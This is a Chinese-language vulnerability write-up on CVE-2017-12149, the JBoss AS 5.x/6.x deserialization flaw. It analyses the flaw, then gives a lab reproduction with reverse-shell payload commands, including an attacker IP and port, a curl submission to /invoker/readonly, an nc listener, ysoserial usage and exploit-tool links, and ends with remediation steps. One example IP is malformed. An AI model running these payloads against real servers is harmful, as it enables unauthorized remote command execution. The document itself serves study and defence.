漏洞概述
2017年8月30日,Redhat公司发布了一个JbossAS 5.x系统的远程代码执行严重漏洞通告,相应的漏洞编号为 CVE-2017-12149。近期有安全研究者发现JbossAS 6.x也受该漏洞影响,攻击者可能利用此漏洞无需用户验证在系统上执行任意命令。
类型 | 描述 |
---|---|
漏洞名称 | JBOSSAS5.x/6.x反序列化命令执行漏洞 |
威胁类型 | 远程命令执行 |
威胁等级 | 高 |
漏洞ID | CVE-2017-12149 |
受影响系统及应用版本 | Jboss AS 5.x、Jboss AS 6.x |
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
漏洞分析
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。
概念 | 描述 |
---|---|
Java序列化 | 把Java对象转换为字节序列的过程 |
Java反序列化 | 指把字节序列恢复为Java对象的过程 |
Java序列化与反序列化作用 | 便于保存数据,或者进行数据传输 |
来看一段Java序列化和反序列化的代码实例:
1、序列化
FileOutputStream fos = new FileOutputStream(file);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(st);
2、反序列化
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
Student st1 = (Student) ois.readObject();
CVE-2017-12149 漏洞出现在 Jboss 的 HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,源码在 jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中,其中doFilter函数代码如下:
可以看到,该过程反序列化时直接从 http 中获取数据,在没有进行检查或者过滤的情况下,尝试调用 readobject() 方法对数据流进行反序列操作,因此产生了Java反序列化漏洞。
攻击方法
攻击者只需要构造带有需要执行Payload的 ser
文件,然后使用 curl
将二进制文件提交至目标服务器的invoker/readonly
页面中,即可执行Payload中指定的命令,获取对电脑的控制权。
攻击示例代码如下:
//编译预置payload的java文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//反弹shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 1.1.1.1:6666
//使用curl向/invoker/readonly提交payload
curl http://192.268.197.25:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
漏洞复现
以下漏洞复现过程基于 Ubuntu 虚拟机,使用 Vulhub 靶场集成环境,并使用 Kali 作为攻击机进行漏洞利用和攻击。
1、在 Ubuntu 靶机的 Vulhub 对应路径下执行以下命令,运行靶场容器:
2、环境已搭建好,访问Jboss服务器试试:
3、在 Kali 攻击机访问 JBoss漏洞页面,http://192.168.43.221:8080/invoker/readonly
(响应码500,证明漏洞存在):
4、此时也可以使用 Nmap 进行端口扫描:
POC脚本
下载漏洞利用脚本到本地(有兴趣可自行阅读源码): http://scan.javasec.cn/java/JavaDeserH2HC.zip。
1、编译预置 Payload 的 Java 文件(需要 Java 环境,Kali 下如果 javac 命令无法执行请参考修复方案 Kali安装JDK):
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
如下图所示:
2、运行以下命令,反弹 Shell 的IP( Kali 攻击机的IP)和端口:
3、以上就会将序列化对象保存在ReverseShellCommonsCollectionsHashMap.ser
中,后面用 curl 命令将其发送到Jboss 服务地址即可,在此之前需要先在 Kali 终端运行 nc 命令,进入监听 6666 端口的状态:
4、使用 curl 命令向http://192.168.43.221:8080/invoker/readonly
提交payload(上面生成的反序列化对象):
5、此时刚才 Kali 开启的监听 6666 端口的终端即可获得反弹 Shell:
至此成功反弹 Shell ,可远程执行命令,漏洞利用成功。
Curl 命令
上面提及了 curl 命令,此处进行简单的补充介绍一下。
命令实例 | 释义 |
---|---|
curl https://www.123.com | 向www.123.com发出 GET 请求,服务器返回的内容会在命令行输出。 |
curl -d ‘login=emma&password=123’ https://google.com/login | -d参数用于发送 POST 请求的数据体 |
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的 URL 工具的意思。它的功能非常强大,命令行参数多达几十种。如果熟练的话,完全可以取代 Postman 这一类的图形界面工具。更多用法请参见博文:curl 的用法指南。
官方教程
Vulhub官方也给出了漏洞复现教程CVE-2017-12149,因为该过程更能直观了解该漏洞利用过程中反弹 Shell 的本质,故下面进行复现演示。
1、使用Bash来反弹shell,但由于Runtime.getRuntime().exec()
中不能使用管道符等Bash需要的方法,需要进行一次编码(编码工具地址),编码如下:
2、先下载用来复现生成序列化数据的工具 ysoserial(下载地址):
下载后的文件如下:
3、需要在以上文件夹路径下打开终端,执行命令mvn package -D skipTests
,生成 ysoserial-0.0.6-SNAPSHOT-all.jar 文件(如果出现bash: mvn: command not found的问题是因为kali未安装maven):
ysoserial 的用法:java -jar ysoserial.jar [payload] ‘[command]’
参数 | 释义 |
---|---|
payload | 利用库,根据服务器端程序版本不同而不同,若如报错,可尝试跟换其他利用库 |
command | 待执行的命令 |
4、开始生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的 gadget 是 CommonsCollections5:
5、此时在当前目录下生成了序列化数据 exp.ser
,打开攻击机的nc,监听 9999 端口:
6、接着使用 curl 命令,将申城的序列化数据以POST的形式发送给 Ubuntu 靶机的 JBoss 服务器:
7、此时 Kali 攻击机的 nc 监听终端即可成功接收到反弹的 Shell:
至此,JBoss 5.x/6.x反序列化漏洞攻击结束。
工具利用
上面基于POC脚本的方式可能不太方便,该漏洞已有现成的图形化利用工具。工具下载:https://github.com/yunxu1/jboss-_CVE-2017-12149。
此处将以上开源漏洞利用工具下载至 Win 10物理机并运行,检测并利用漏洞如下:
修复方法
1、升级JBoss中间件版本,避免使用Jboss AS 5.x、Jboss AS 6.x ;
2、不需要 http-invoker.sar 组件的用户可直接删除此组件;
3、添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制: <url-pattern>/*</url-pattern>
。